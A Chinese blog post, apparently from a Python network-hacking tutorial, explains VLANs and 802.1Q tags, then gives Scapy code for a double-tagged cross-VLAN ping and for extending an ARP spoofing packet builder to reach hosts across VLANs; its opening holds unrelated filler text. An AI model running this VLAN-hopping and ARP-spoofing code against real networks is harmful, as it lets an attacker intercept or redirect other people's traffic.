python拦截修改数据包_Python, 网络编程黑客入门篇,跨VLAN的ARP欺骗

Those people who have nothing better to do than post on the Internet all day long are rarely the ones who have the most insights

那些整天在网上无所事事的人很少是最有洞察力的人

五年前我偶然遇到了 Python, 开始了我的 Python 之旅, 我花费了大量的时间在Python模块上面,如果一个模块正是我们想要的, 但是却不知道如何使用它.是一件非常痛苦的事情

Python 的标准库包括了很多的模块, 从 Python 语言自身特定的类型和声明,

到一些只用于少数程序的不著名的模块.

本章描述了一些基本的标准库模块. 任何大型 Python 程序都有可能直接或间

接地使用到这类模块的大部分.

VLAN(Virtual LAN),翻译成中文是“虚拟局域网”。LAN可以是由少数几台家用计算机构成的网络,也可以是数以百计的计算机构成的企业网络。VLAN所指的LAN特指使用路由器分割的网络——也就是广播域。图1是一个VLAN划分的例子。

04a1b5e354cb3f4851456dd1b743ea08.png

图1

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

汇聚链接(Trunk Link)指的是能够转发多个不同VLAN的通信的端口

l基于IEEE 802.1q协议,扩展以太网帧格式

VLAN的汇聚链接(Trunk Link)

1.需要设置跨越多台交换机的VLAN时……

到此为止,我们学习的都是使用单台交换机设置VLAN时的情况。那么,如果需要设置跨越多台交换机的VLAN时又如何呢?

在规划企业级网络时,很有可能会遇到隶属于同一部门的用户分散在同一座建筑物中的不同楼层的情况,这时可能就需要考虑到如何跨越多台交换机设置VLAN的问题了。

db21c2a74604c18d76cc17d3b8b49584.png

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python      from scapy.all import *     packet = Ether(dst="c0:d3:de:ad:be:ef") /                 Dot1Q(vlan=1) /                 Dot1Q(vlan=2) /                 IP(dst="192.168.13.3") /                 ICMP()      sendp(packet)

上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

 def build_req():        if options.target is None:            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])        elif options.target:            target_mac = getmacbyip(options.target)            if target_mac is None:                print "[-] Error: Could not resolve targets MAC address"                sys.exit(1)            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)         return pkt

在构造数据包的部分,我们插入VLAN标识:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan)/ ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值